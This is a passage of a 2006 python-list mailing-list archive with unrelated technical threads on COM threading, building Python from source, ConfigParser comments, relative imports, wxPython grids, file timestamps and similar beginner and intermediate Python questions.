> reading instructions for the data unit. Usually astronomical image data
> but it can be anything.)
> 
> Sounds like subtracting sky background from the frames, though for some
> reason (speed?) column-wise. You could have a look at either PyRAF
> (www.stsci.edu/resources/software_hardware/pyraf) or PyMidas
> (www.eso.org/sampo/pymidas/). Running some semi-official
> sky-subtraction algorithm would at least give you a good case to test
> against.
> 
> You could also check if ftools already does this. I have not used it
> much, but sometimes it saves huge amounts of coding time.
> heasarc.gsfc.nasa.gov/docs/software/ftools/ftools_menu.html
> 
>> This is a real problem I need to solve, not a made-up toy problem. I was
>> originally thinking of solving it in C (I know where to get the pieces
>> in that language)
> 
> Could you tell a bit more of the data? Are you aiming for accuracy,
> speed or getting as complete time series as possible? (for me, speed
> has never been an issue) Photometry/astrometry/something else? Is there
> some trade-off like "get best possible result in X seconds"?

Yeah, I'm fairly familiar with that stuff, I was/am an investigator on 
ASCA, Chandra, HETE-2, Suzaku. Didn't know of anything quite right for 
this job. With the right imports it was only 15 lines of Python, hard to 
beat that.

It isn't my data to release, it's MKI's. Development project. And they 
have plenty of folks who know IRAF, ftools, etc. They didn't know how to 
do quite what they wanted here.

-- 
John Doty, Noqsi Aerospace, Ltd.
--
Specialization is for robots.


From python.list at tim.thechases.com  Fri Oct 13 18:28:13 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Fri, 13 Oct 2006 17:28:13 -0500
Subject: Starting out.
In-Reply-To: <1160721163.418861.269450@f16g2000cwb.googlegroups.com>
References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>	<1160696990.5969.4.camel@dsktp>	<mailman.411.1160706099.11739.python-list@python.org>	<452f06a8$0$5108$afc38c87@news.optusnet.com.au>
	<1160721163.418861.269450@f16g2000cwb.googlegroups.com>
Message-ID: <453012FD.9090407@tim.thechases.com>

> Maybe you should say "amongst the longest"
> 
> pepperwort
> perpetuity
> perruquier
> pirouetter
> proprietor
> repertoire
> typewriter
> 
> But even that would be wrong.
> 
> rupturewort
> 
>> hey, look, it's Friday

proprietory
proterotype
rupturewort

according to my web2 list of words.

Hey, look, it's Friday, after 5:00pm! :)

-tkc




From SSchukat at dspace.de  Tue Oct 17 04:20:40 2006
From: SSchukat at dspace.de (Stefan Schukat)
Date: Tue, 17 Oct 2006 09:20:40 +0100
Subject: Thread termination
Message-ID: <1B3F2E002D9AD04BBC1A27B370F29EB9023109@exchange2003.dspace.de>

Hello
 
you are using the module variable ie inside the Generic Function, but
you have to use  "d" since this is the Python object 
which is allowed to access the COM object in the separate thread.
 
    Stefan


________________________________

	From: Tejovathi P [mailto:tejovathi.p at gmail.com] 
	Sent: Monday, October 16, 2006 9:47 AM
	To: Stefan Schukat
	Subject: Re: Thread termination
	
	

	HI all, 

	I have a problem in accesing COM objects in threads. To be
precise, lets assume that I have a class GenericFunctions which is
defined as follows:

	import win32com.client, pythoncom, thread 
	ie=win32com.client.Dispatch('internetexplorer.application') 
	ie.Visible=1 

	class GenericFunctions:
	        
	       def __init__(self):
	             print "In Constructor of Generic Functions"
	        
	       def MyNavigate(self,dest):
	             ie.Navigate(dest) 

	
	Now there  is another file Main.py which is defined as follows:

	import win32com.client, pythoncom, thread 
	from GenericFunctions import *
	obj = GenericFunctions()

	class Mainclass:
	       def __init__(self);
	            print "In Constructor of Main class"

	       def threadFunction(self,dest):
	            pythoncom.CoInitialize()
	            d=pythoncom.CoGetInterfaceAndReleaseStream(s,
pythoncom.IID_IDispatch)
	            my_ie=win32com.client.Dispatch(d)
	            obj.func(dest)          # this is gving an error.
	            pythoncom.CoUninitialize()

	if __name__ == "__main__":
	
s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatc
h,ie)
	         thread.start_new_thread(self.nav, (s,'www.google.com ')

	Basically, I want to access object of GenericFunctions class
inside threadFunction(). However I was able to execute
my_ie.Navigate("google.com"). But that was not I wanted. I am not
knowing where the error is.... 
	Please let me know the solution ASAP...

	Teja.P

	
	 



	On 10/13/06, Stefan Schukat <SSchukat at dspace.de> wrote: 

		Reading from your last posts you are using COM objects.
Therefore you
		should not "kill" the thread since this 
		would lead to reference leaks. So there are only two
ways left:
		
		1. Program a specific interpreter and not use python.exe
which
		implements an access to PyThreadState_SetAsyncExc
		2. Check in the separate thread at specific times a
variable which is 
		set in the main thread.
		
		Both need the try finally construct in the
threadfunction to release COM
		objects in the right way.
		I.e., (taking the source from Roger):
		
		
		def ThreadFunction(istream, dest): 
		     pythoncom.CoInitialize() // Initialize COM Runtime
for this thread
		       try:
	
d=pythoncom.CoGetInterfaceAndReleaseStream(istream,
		pythoncom.IID_IDispatch)
		               my_ie=win32com.client.Dispatch (d)
		               my_ie.Navigate(dest)
		       finally:
		               my_ie = None  // Release COM object
		             pythoncom.CoUninitialize() // Release COM
Runtime for this
		thread
		
		
		       Stefan 
		


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From paul at boddie.org.uk  Thu Oct 19 06:12:11 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 19 Oct 2006 03:12:11 -0700
Subject: Install from source on a x86_64 machine
References: <mailman.700.1161187902.11739.python-list@python.org>
Message-ID: <1161252731.452070.308570@h48g2000cwc.googlegroups.com>

Christopher Taylor wrote:
>
> Being relatively new to linux I'm a little confused about what options
> I need to use to build python from source.

The README should provide sufficient information, although if you want
to install Python into /usr rather than /usr/local (as I believe is the
default), you need to run configure as follows:

./configure --prefix=/usr

> Currently, I have python installed as part of the inital RHEL4 load
> located at /usr/bin/Python and /usr/bin/Python2.3 .  Some of the files
> are located in /usr/lib64/Python2.3 and in /usr/lib/Python2.3 .
> Please let me know if you need dir lsitings.

In fact, it's /usr/bin/python, /usr/bin/python2.3, /usr/lib64/python2.3
and /usr/lib/python, since Red Hat hasn't decided to capitalise the
name of the software. ;-)

> I'm trying to compile from source and plan on using the
> --enable-unicode=ucs4 option for the configure script due to some RHEL
> messing around with Tcl/Tk.
>
> *** How do I get make altinstall to put the appropriate files in
> /usr/lib64/Python2.4 and /usr/lib/Python2.4 respectively ? ***

The configured Makefile together with the various other tools should
work out where to put the libraries. I'm a newcomer to x86-64, although
I've had some relatively recent experience with sparc64, and whilst I'm
not really familiar with the way the various tools choose the install
directory of libraries, I've noticed that sometimes 64-bit libraries
end up in lib rather than lib64. Meanwhile, I notice that the Red Hat
libraries do adhere correctly to the expectation that 32-bit libraries
are found under /usr/lib/python2.3 and 64-bit libraries are found under
/usr/lib64/python2.3.

Perhaps you should configure and make Python, then run the install
process in "pretend" mode:

make -n altinstall

You'll get a huge amount of output, but this should at least tell you
what the installation process is thinking of doing, and it won't be
overwriting anything important while it does so.

Paul



From gwillden at gmail.com  Thu Oct 12 16:13:19 2006
From: gwillden at gmail.com (gwillden at gmail.com)
Date: 12 Oct 2006 13:13:19 -0700
Subject: ConfigParser: whitespace leading comment lines
Message-ID: <1160683999.617345.46570@b28g2000cwb.googlegroups.com>

Hello all,
I'd like to propose the following change to ConfigParser.py.
I won't call it a bug-fix because I don't know the relevant standards.
This change will enable multiline comments as follows:

[section]
item=value   ;first of multiline comment
            ;second of multiline comment

Right now the behaviour is

In [19]: cfg.get('section','item')
Out[19]: 'value\n;second of multiline comment'

It's a one-line change.
RawConfigParser._read lines 434-437
            # comment or blank line?
-            if line.strip() == '' or line[0] in '#;':
+            if line.strip() == '' or line.strip()[0] in '#;':
                continue

Regards,
Greg Willden



From paddy3118 at netscape.net  Sun Oct  1 08:40:16 2006
From: paddy3118 at netscape.net (Paddy)
Date: 1 Oct 2006 05:40:16 -0700
Subject: builtin regular expressions?
In-Reply-To: <451e37a5$1@news.vo.lu>
References: <451e37a5$1@news.vo.lu>
Message-ID: <1159706416.042276.293580@m7g2000cwm.googlegroups.com>


Antoine De Groote wrote:
> Hello,
>
> Can anybody tell me the reason(s) why regular expressions are not built
> into Python like it is the case with Ruby and I believe Perl? Like for
> example in the following Ruby code
>
> line = 'some string'
>
> case line
>    when /title=(.*)/
>      puts "Title is #$1"
>    when /track=(.*)/
>      puts "Track is #$1"
>    when /artist=(.*)/
>      puts "Artist is #$1"
> end
>
> I'm sure there are good reasons, but I just don't see them.
>
I'd say that Ruby took a lot of its early design clues from Perl. If
you want to attract Perl programmers then they expect such things.
Python has an emphasis on clarity/readability and on maintainability.
It has other string methods that are much easier to read and maintain
than regular expressions.
There is of course a class of problem well suited to regular
expressions but it is easy for people coming to Python from Perl or AWK
to rely too heavily on RE's.

Personally, my problem with REs is that their is inadequate debug
capabilites for them. The best way I have found is to shove some
example text into Kodos and incrementally refine my RE by viewing the
RE's results  on the example text. RE's also tend to look like line
noise, even when you use the x switch and use whitesspace+comments.

> Python Culture says: 'Explicit is better than implicit'. May it be
> related to this?
Well, by putting RE's into the language I presume you also mean doing
the equivalent of setting group variables? That would be a 'magic' side
effect unless you explicitly assigned them, e.g:

 person, craving = r"My\s(\S+)likes\s(\S+)" ~~ text
# using ~~ for an RE match operator

The more readable I try and make it though, the more I appreciate the
Python way of doing things. 

- Pad.



From fulvio at tm.net.my  Wed Oct 25 03:52:15 2006
From: fulvio at tm.net.my (Fulvio)
Date: Wed, 25 Oct 2006 15:52:15 +0800
Subject: Change on file
In-Reply-To: <1uzfymw6npgtq$.i9somy6b4b3o$.dlg@40tude.net>
References: <mailman.1060.1161690469.11739.python-list@python.org>
	<1uzfymw6npgtq$.i9somy6b4b3o$.dlg@40tude.net>
Message-ID: <200610251552.15242.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Tuesday 24 October 2006 20:22, Alan Franzoni wrote:
> it could put the system under severe workload.

Thank you for the enlightment :-)
In my case it's meant to check a couple of files, but no more than 10 Mbytes.
The most purpose is to find differences since last check. I suppose it's a 
good way, as other programs using CRC as comparison between file, better than 
byte-to-byte diff. Also CD images and big files download are giving a MD5 
check.
My point stand as platform indipendent solution and won't take extra fancy 
modules which aren't part of python package itself. I'll look at SVF and 
timestamp options. I'm less actracted by the idea of 'stat' on the file, Now 
I'm on linux and I've some doubt about win32 options.

PS. C'e' la MList per iclp?

F




From martin at v.loewis.de  Sun Oct 22 08:54:15 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 22 Oct 2006 14:54:15 +0200
Subject: Py 2.5: Bug in sgmllib
In-Reply-To: <453b5421$0$5717$9b4e6d93@newsspool3.arcor-online.net>
References: <453b5421$0$5717$9b4e6d93@newsspool3.arcor-online.net>
Message-ID: <453B69F7.8070600@v.loewis.de>

Michael Butscher schrieb:
> Is this a bug or is SGMLParser not meant to be used for unicode strings 
> (it should be documented then)?

In a sense, SGML itself is not meant to be used for Unicode. In SGML,
the document character set is subject to the SGML application. So what
specific character a character reference refers to is also subject to
the SGML application.

This entire issue is already documented; see the discussion of
convert_charref and convert_codepoint in

http://docs.python.org/lib/module-sgmllib.html

Regards,
Martin


From jorge.vargas at gmail.com  Sun Oct  8 22:15:20 2006
From: jorge.vargas at gmail.com (Jorge Vargas)
Date: Sun, 8 Oct 2006 22:15:20 -0400
Subject: Dive Into Java?
In-Reply-To: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
Message-ID: <32822fe60610081915w68dbbefdw45eb0f57a1e87534@mail.gmail.com>

Sun's Java tutorial, and went your confortable with it.

Thinking in Java Bruce Eckel

On 8 Oct 2006 15:30:15 -0700, erikcw <erikwickstrom at gmail.com> wrote:
> DiveIntoPython.org was the first book I read on python, and I really
> got a lot out of it.  I need to start learning Java (to maintain a
> project I've inherited), and was wondering if anyone knew of any
> similar books for Java?
>
> Maybe once I know my way around the language, I can sneak Jython in...
> :-)
>
> Thanks!
> Erik
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>


From theller at ctypes.org  Thu Oct 26 04:31:29 2006
From: theller at ctypes.org (Thomas Heller)
Date: Thu, 26 Oct 2006 10:31:29 +0200
Subject: Slightly OT: Is pyhelp.cgi documentation search broken?
In-Reply-To: <ehppm4$md4$1@news.lysator.liu.se>
References: <ehppm4$md4$1@news.lysator.liu.se>
Message-ID: <45407261.2060107@ctypes.org>

Joel Hedlund schrieb:
> Hi!
> 
> For a number of days I haven't been able to search the online python 
> docs at:
> 
> http://starship.python.net/crew/theller/pyhelp.cgi
> 
> that is the "search the docs with" link at this page:
> 
> http://www.python.org/doc/
> 
> Instead of the search engine, I get Error 404. This is a real bother for 
> me, since I rely heavily on it for my work.
> 
> Is it broken? If so, is anybody trying to get it back up again, and 
> what's the time scale in that case? Is there an alternative available 
> somewhere?

The operating system on the starship.python.net machine was reinstalled from scratch;
but the 'crew' pages still have to be restored.  This will take some days, IMO.

Thomas



From jUrner at arcor.de  Sat Oct 14 21:45:10 2006
From: jUrner at arcor.de (jUrner at arcor.de)
Date: 14 Oct 2006 18:45:10 -0700
Subject: Relative import bug or not?
In-Reply-To: <1160866262.002826.110940@m7g2000cwm.googlegroups.com>
References: <1160866262.002826.110940@m7g2000cwm.googlegroups.com>
Message-ID: <1160876709.887825.275740@m7g2000cwm.googlegroups.com>


Alexey Borzenkov wrote:
> After reading PEP-0328 I wanted to give relative imports a try:
>
> # somepkg/__init__.py
> <empty>
>
> # somepkg/test1.py
> from __future__ import absolute_import
> from . import test2
>
> if __name__ == "__main__":
>     print "Test"
>
> # somepkg/test2.py
> <empty>
>
> But it complaints:
> C:\1\somepkg>test1.py
> Traceback (most recent call last):
>   File "C:\1\somepkg\test1.py", line 1, in <module>
>     from . import test2
> ValueError: Attempted relative import in non-package
>
> Does this mean that packages that implement self tests are not allowed
> to use relative import? Or is it just a bug? I can understand that I
> can use "import test2" when it's __main__, but when it's not now it
> complains about no module test2 with absolute_import on.
>
> PEP-0328 also has this phrase: "Relative imports use a module's
> __name__ attribute to determine that module's position in the package
> hierarchy. If the module's name does not contain any package
> information (e.g. it is set to '__main__') then relative imports are
> resolved as if the module were a top level module, regardless of where
> the module is actually located on the file system.", but maybe my
> english knowledge is not really good, because I can't understand what
> should actually happen here ("relative imports are resolved as if the
> module were a top level module")... :-/
>
> So is it a bug, or am I doing something wrong?


Short version is: relative imports do not work in 2.5 when a script is
run as "__main__"

J?rgen



From ebgssth at gmail.com  Mon Oct  2 11:08:06 2006
From: ebgssth at gmail.com (js )
Date: Tue, 3 Oct 2006 00:08:06 +0900
Subject: Sort by domain name?
Message-ID: <a23effaf0610020808w2ffd8572m2caefe11082307b3@mail.gmail.com>

Hi list,

I have a list of URL and I want to sort that list by the domain name.

Here, domain name doesn't contain subdomain,
or should I say, domain's part of 'www', mail, news and en should be excluded.

For example, if the list was the following
------------------------------------------------------------
http://mail.google.com
http://reader.google.com
http://mail.yahoo.co.uk
http://google.com
http://mail.yahoo.com
------------------------------------------------------------

the sort's output would be
------------------------------------------------------------
http://google.com
http://mail.google.com
http://reader.google.com
http://mail.yahoo.co.uk
http://mail.yahoo.com
------------------------------------------------------------

As you can see above, I don't want to


Thanks in advance.


From Laundro at gmail.com  Tue Oct 31 09:48:11 2006
From: Laundro at gmail.com (LaundroMat)
Date: 31 Oct 2006 06:48:11 -0800
Subject: Help me understand this iterator
In-Reply-To: <ei7e0o$7lt$02$2@news.t-online.com>
References: <1162294568.168728.178270@m73g2000cwd.googlegroups.com>
	<ei7e0o$7lt$02$2@news.t-online.com>
Message-ID: <1162306091.528097.86850@e3g2000cwe.googlegroups.com>

Thanks all, those were some great explanations. It seems I have still
still a long way for me to go before I grasp the intricacies of this
language.

That 'magic index' variable bugs me a little however. It gives me the
same feeling as when I see hard-coded variables. I suppose the
generator class has taken care of this with its next() method (although
- I should have a look - __next__() probable takes self and index as
its arguments). Although I'm very fond of the language (as a
non-formally trained hobbyist developer), that "magic" bit is a tad
disturbing.

Still, thanks for the quick and complete replies!



From deets at nospam.web.de  Tue Oct 10 04:48:12 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Tue, 10 Oct 2006 10:48:12 +0200
Subject: Everything is a distributed object
In-Reply-To: <a7lqv3-tdd.ln1@C20.host>
References: <a7lqv3-tdd.ln1@C20.host>
Message-ID: <4p152cFgq3pnU1@uni-berlin.de>

Martin Drautzburg schrieb:
> Hello all,
> 
> I've seen various attempts to add distributed computing capabilities on top
> of an existing language. For a true distributed system I would expect it to
> be possible to instantiate objects of a remote class or to subclass a
> remote class and other stuff like this. My impression is that those things
> are difficult when built on top of an existing language.
> 
> Since the paradigm "everything is an object" pays so well, I thought it
> might be less painful to implement a distributed system from ground up,
> starting with the paradigm: "everything is a distributed object".
> 
> Do you know if such a thing has been attempted with python, i.e. by hacking
> the python core and add new capabilities to "object". Or do you think that
> this is really a silly idea ? 

Pyro is pretty neat in that respect. And besides that, I think it is a 
rather silly idea. In such an environment, immediately issues about 
concurrency, connection failures and sychronous/asynchronous execution 
arise, adding tremendously to the complexity of even the simplest of 
tasks. And thus should be kept out of those simple tasks...

A natural integration of concurrency as in erlang, or with pyro, is a 
good thing(tm), but not as base principle, IMHO.

Diez


From Roka100 at gmail.com  Sun Oct 29 23:26:41 2006
From: Roka100 at gmail.com (Jia Lu)
Date: 29 Oct 2006 20:26:41 -0800
Subject: How to access file last modified dates on each file in a directory
In-Reply-To: <1162177219.649954.318150@h48g2000cwc.googlegroups.com>
References: <1162177219.649954.318150@h48g2000cwc.googlegroups.com>
Message-ID: <1162182401.398905.185210@e3g2000cwe.googlegroups.com>


RAMohrmann at adelphia.net wrote:
> Greetings,
>
> I am attempting to view all files in a directory and if those files
> have not been modified within the last couple days I will remove them.
> In order to do this I need to look at the file date modied and check
> the date. I know how to look at each file name and I know how to remove
> the file. I just can't figure out how to get access to the date last
> modifed filed.

For this you have some solutions.

1,
import os
import time
time.ctime(os.stat(r"L:\MyDoc\EBook\Python").st_mtime)

2,
os.path.getmtime()

3, in Win32
win32file.GetFileTime
int = GetFileTime(handle, creationTime , accessTime , writeTime )



From onurb at xiludom.gro  Fri Oct 13 10:11:14 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Fri, 13 Oct 2006 16:11:14 +0200
Subject: operator overloading + - / * = etc...
In-Reply-To: <mailman.373.1160658208.11739.python-list@python.org>
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com><slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu><mailman.32.1160258060.11739.python-list@python.org><slrneig8v2.746.sybrenUSE@schuimige.stuvel.eu><mailman.34.1160260043.11739.python-list@python.org><pan.2006.10.08.01.08.09.501368@REMOVE.THIS.cybersource.com.au>	<452a6a61$0$22844$426a74cc@news.free.fr><mailman.144.1160432125.11739.python-list@python.org>	<452e0244$0$8601$426a74cc@news.free.fr>
	<mailman.373.1160658208.11739.python-list@python.org>
Message-ID: <452f9e84$0$15879$426a34cc@news.free.fr>

Terry Reedy wrote:
> "Bruno Desthuilliers" <onurb at xiludom.gro> wrote in message 
> news:452e0244$0$8601$426a74cc at news.free.fr...
>> Terry Reedy wrote:
>>> "Bruno Desthuilliers" <onurb at xiludom.gro> wrote in message
>>> news:452a6a61$0$22844$426a74cc at news.free.fr...
>>>> The current namespace object, of course.
>>> Implementing a namespace as a Python object (ie, dict) is completely
>>> optional and implementation dependent.  For CPython, the local namespace 
>>> of
>>> a function is generally *not* done that way.
>> I know this, and that's not the point here. The op's question seemed to
>> imply that the hypothetical __assign__ method should belong to the rhs
>> object, which is obviously not the case - it must of course belongs to
>> the lhs 'object'.
> 
> And my point is that in general there is no lhs object for the method to 
> belong to.

<nitpicking>
Mmm... Of course, there's always something that's being used as a
namespace. But yes, this something may not be directly accessible as a
Python object.
</nitpicking>.



-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From amk at amk.ca  Tue Oct 17 07:58:48 2006
From: amk at amk.ca (A.M. Kuchling)
Date: Tue, 17 Oct 2006 06:58:48 -0500
Subject: OT: What's up with the starship?
References: <mailman.419.1160722798.11739.python-list@python.org>
	<SEhYg.7681$gL.2383@southeast.rr.com>
	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>
	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>
	<1160947865.920162.173040@i3g2000cwc.googlegroups.com>
	<1160974552.906162.115060@k70g2000cwa.googlegroups.com>
	<1160983523.518768.16110@e3g2000cwe.googlegroups.com>
	<mailman.580.1161021410.11739.python-list@python.org>
	<1161021960.792970.238240@m73g2000cwd.googlegroups.com>
	<mailman.584.1161023364.11739.python-list@python.org>
	<1161025636.641534.282290@f16g2000cwb.googlegroups.com>
	<mailman.593.1161028270.11739.python-list@python.org>
Message-ID: <T4mdnYydUMLlWKnYnZ2dnUVZ_o-dnZ2d@speakeasy.net>

On Mon, 16 Oct 2006 14:50:03 -0500, 
	skip at pobox.com <skip at pobox.com> wrote:
> suggests that it was sufficiently obscure that either a) nobody who knew
> about it found a way to take advantage of it, or b) it was only recently

It might well be difficult to exploit to run arbitrary code because
your exploit code needs to have no unprintable bytes in it; repr()
turns unprintable characters into \xNN, after all, and isn't doing a
straightforward string copy.  (But hackers can be very clever...)

--amk


From fredrik at pythonware.com  Thu Oct  5 14:56:18 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 05 Oct 2006 20:56:18 +0200
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <7.0.1.0.0.20061005153148.05a4a350@yahoo.com.ar>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>	<slrnei7235.55m.apardon@rcpc42.vub.ac.be>	<7xac4cpefr.fsf@ruckus.brouhaha.com>	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>	<eg03un$se8$1@news.albasani.net>	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>	<7xhcyk2u1z.fsf@ruckus.brouhaha.com>	<eg17jd$gsr$1@news.albasani.net>	<mailman.1295.1159996151.10491.python-list@python.org>	<slrneia6c4.55m.apardon@rcpc42.vub.ac.be>
	<7.0.1.0.0.20061005153148.05a4a350@yahoo.com.ar>
Message-ID: <eg3kgh$h1p$1@sea.gmane.org>

Gabriel Genellina wrote:

>> > the general rule is that if the documentation doesn't explicitly say
>> > that something is a keyword argument, it isn't, and shouldn't be 
>> > treated as such.
>>
>> The first module I looked in to check this, it wasn't true. In the Queue
>> Module is isn't explicitly written that maxsize is a keyword argument yet
>> Queue.Queue(maxsize=9) works just fine.
> 
> This is true for most python code, unless the arguments are get as *args.

you guys need to look up the words "should" and "not" in a dictionary.

</F>



From Eric_Dexter at msn.com  Sun Oct 29 20:28:48 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 29 Oct 2006 17:28:48 -0800
Subject: simple oop question (hopefully)
In-Reply-To: <1162170670.347917.31960@i42g2000cwa.googlegroups.com>
References: <1162170670.347917.31960@i42g2000cwa.googlegroups.com>
Message-ID: <1162171728.158238.301880@f16g2000cwb.googlegroups.com>

I am tagging this so I can find it again (google groups) www.dexrow.com
Eric_Dexter at msn.com wrote:
> I am just trying to acess a function in wordgrid (savefile) to a button
> that is defined in TestFrame.  I can't seem to make it work I either
> get an error that my variable isn't global or it makes other
> complaints.  thanks in advance..  sorry for the simple question..
>
>
>
>
> import wx
> import wx.grid as gridlib
> import sys
>
>
>
> #---------------------------------------------------------------------------
>
> class WordGrid(gridlib.Grid):
>
>     def __init__(self, parent, log):
>         gridlib.Grid.__init__(self, parent, -1)
>         self.loadFile()
>
>         self.CreateGrid(len(self.rows), self.widestRow)
>
>         for r, row in enumerate(self.rows):
>             for c, col in enumerate(row):
>                 self.SetCellValue(r, c, col)
>             self.SetColSize(c, 10*self.widestCol)
>
>         for c, label in enumerate(self.header):
>             self.SetColLabelValue(c, label)
>
>     def loadFile(self):
>        #from_file
>        infile = open(sys.argv[1], 'r') #The first argument passed in is
> the file name
>        foundHeader = False
>        self.rows = []
>        for line in infile:
>            if sys.argv[2] in line: #look for the second argument and
> make that the header
>                #removefirst = line.split(' ')
>                self.header = line.split()
>                #foundHeader = 'true'
>                continue     # we don't want to process this line any
> further
>            else:
>                self.rows.append(line.split())
>
>        self.widestRow = max([len(r) for r in self.rows])
>        self.widestCol = max([len(c) for c in [r for r in self.rows]])
>     def savefile(self):
>         outfile = open(sys.argv[1], 'w') #open the file defined in the
> output line for writing
>         for row in self.rows:
>             outfile.write(row)
>
>         print('this is a test to see if I can Crash it')
>
>
>
> class TestFrame(wx.Frame):
>     def __init__(self, parent, log):
>
>         wx.Frame.__init__(self, parent, -1, "Dex Tracker Sco Editor",
> size=(640,480))
>         p = wx.Panel(self, -1, style=0)
>         grid = WordGrid(p, log)
>         #grid = CustTableGrid(p, log)
>         b = wx.Button(p, -1, "Save Grid")
>         b.SetDefault()
>         self.Bind(wx.EVT_BUTTON, self.OnButton, b)
>         b.Bind(wx.EVT_SET_FOCUS, self.OnButtonFocus)
>         bs = wx.BoxSizer(wx.VERTICAL)
>         bs.Add(grid, 1, wx.GROW|wx.ALL, 5)
>         bs.Add(b)
>         p.SetSizer(bs)
>
>     def OnButton(self, evt):
>         print "button selected"
>         grid = WordGrid(self, log).savefile()
>         #self.WordGrid.savefile(self)
>
>     def OnButtonFocus(self, evt):
>         print "button focus"
>
> #---------------------------------------------------------------------------
> #def main():
>
> def main(From_File, find_string):
>     """This is the entire editor for .sco files..  It doesn't realy
> care if it is music or not.  Any file that you lay out with even rows
> and collums
>     can be displayed  The first argument passed to main is the file to
> be used and the second if the string to be used as the command to set
> up the header of the grid.
>     The sting you wish to use to identify the header should be placed
> last so it doesn't show up in the grid.
>     """
>
>     import sys
>
>     app = wx.PySimpleApp()
>     frame = TestFrame(None, sys.stdout)
>     frame.Show(True)
>     app.MainLoop()
>     pass
>
> if __name__ == '__main__':
>     import sys
>     #try: 
>     main(sys.argv[1], sys.argv[2])



From baur79 at gmail.com  Wed Oct 25 08:16:27 2006
From: baur79 at gmail.com (baur79 at gmail.com)
Date: 25 Oct 2006 05:16:27 -0700
Subject: python html 2 image (png)
References: <1161763383.622381.299350@b28g2000cwb.googlegroups.com>
	<mailman.1155.1161764711.11739.python-list@python.org>
Message-ID: <1161778587.501281.92320@h48g2000cwc.googlegroups.com>

> what tools are you using to do that today?

where are many of EXE programs
but i need python solution for adding it to my automate program under
lunix


Fredrik Lundh wrote:
> baur79 at gmail.com wrote:
>
> > how can i render html page to png image
> > ex:
> >
> > http://www.website.com/index.html -> index.png
> 
> what tools are you using to do that today?
> 
> </F>



From bdesth.quelquechose at free.quelquepart.fr  Wed Oct 18 17:16:42 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Wed, 18 Oct 2006 23:16:42 +0200
Subject: Classes and Functions - General Questions
In-Reply-To: <1161200542.603408.94630@k70g2000cwa.googlegroups.com>
References: <1161200542.603408.94630@k70g2000cwa.googlegroups.com>
Message-ID: <45369576$0$21153$426a74cc@news.free.fr>

Setash a ?crit :
> I've got a tiny bit of coding background, but its not the most
> extensive.
> 
> That said, I'm trying to wrap my head around python and have a couple
> questions with classes and functions.
> 
> Two notable questions:
> 
> 1) Classes. How do you extend classes?
> 
> I know its as easy as:
> 
> class classname(a)
>    do stuff
> 
> 
> But where does the parent class need to lie? In the same file? Can it
> lie in another .py file in the root directory? Can it simply be
> accessed via an import statement or just plain jane?
> 
> To clarify, as it may be worded poorly:
> 
> Can my directory structure look like
> 
> ..
> /class1.py
> /class2.py
> 
> And have class2 inherit class1 without any import statements, or need
> it be imported first?
> Or need class1 and class2 be both declared in the same .py file if
> there is inheritance?
> 
> I think thats a bit more clear :)
> 

Any object you want to access must be bound to a name in the current 
namespace. So you either need to define both classes in the same module 
(ie: file), or import the base class. There are some things about this 
in the tutorial...

> 
> 
> 2) Function overloading - is it possible?
> 
> Can I have the following code, or something which acts the same in
> python?:
> 
> 
> def function(a, b)
>    do things
> 
> def function(a, b, c)
>    do things only if I get a third argument
> 

There's no proper function overloading builtin Python [1]. But you have 
default params:

def function(a, b, c=None):
   if c is None:
     do things
   else:
     do things only if I get a third argument


[1] this could be implemented - and is actually implemented (in much 
more powerful way) by Philip Eby's dispatch module.

> Any thoughts / comments / etc? Just trying to get a solid foundation of
> python before going any further.

Then you might want to (re ?)read the tutorial and DiveIntoPython.


From vatamane at gmail.com  Mon Oct 30 18:53:39 2006
From: vatamane at gmail.com (Nick Vatamaniuc)
Date: 30 Oct 2006 15:53:39 -0800
Subject: checking if a sqlite connection and/or cursor is still open?
In-Reply-To: <aIs1h.203$1n3.4348@news.tufts.edu>
References: <STp1h.200$1n3.4433@news.tufts.edu>
	<aIs1h.203$1n3.4348@news.tufts.edu>
Message-ID: <1162252419.543624.42870@i42g2000cwa.googlegroups.com>

I am not familiar with SQLite driver, but a typical Pythonic  way to
check if you can do something is to just try it, and see what happens.
In more practical terms: try to just use the cursor or the connection
and see if an exception will be raised.

Nick V.



John Salerno wrote:
> John Salerno wrote:
> > Is there a way to check if a SQLite connection and cursor object are
> > still open? I took a look at the docs and the DB API but didn't see
> > anything like this.
> >
> > Thanks.
>
> Well, I might have somewhat solved this problem. Since SQLite allows you
> to use execute* methods directly on the connection object (thus no need
> to create a cursor object), all I need to do is call connection.close()
> and this doesn't seem to raise an error even if the connection has
> already been closed.
>
> I'm still curious if there's a way to check for an open connection, but
> it seems like without the cursor object, the task is much easier.



From rrr at ronadam.com  Thu Oct 19 10:33:55 2006
From: rrr at ronadam.com (Ron Adam)
Date: Thu, 19 Oct 2006 09:33:55 -0500
Subject: Flexible Collating (feedback please)
In-Reply-To: <1161211855.842193.104220@i3g2000cwc.googlegroups.com>
References: <35kZg.6681$fl.2685@dukeread08><UxwZg.6707$fl.6559@dukeread08>
	<1161211855.842193.104220@i3g2000cwc.googlegroups.com>
Message-ID: <M4MZg.6745$fl.5721@dukeread08>

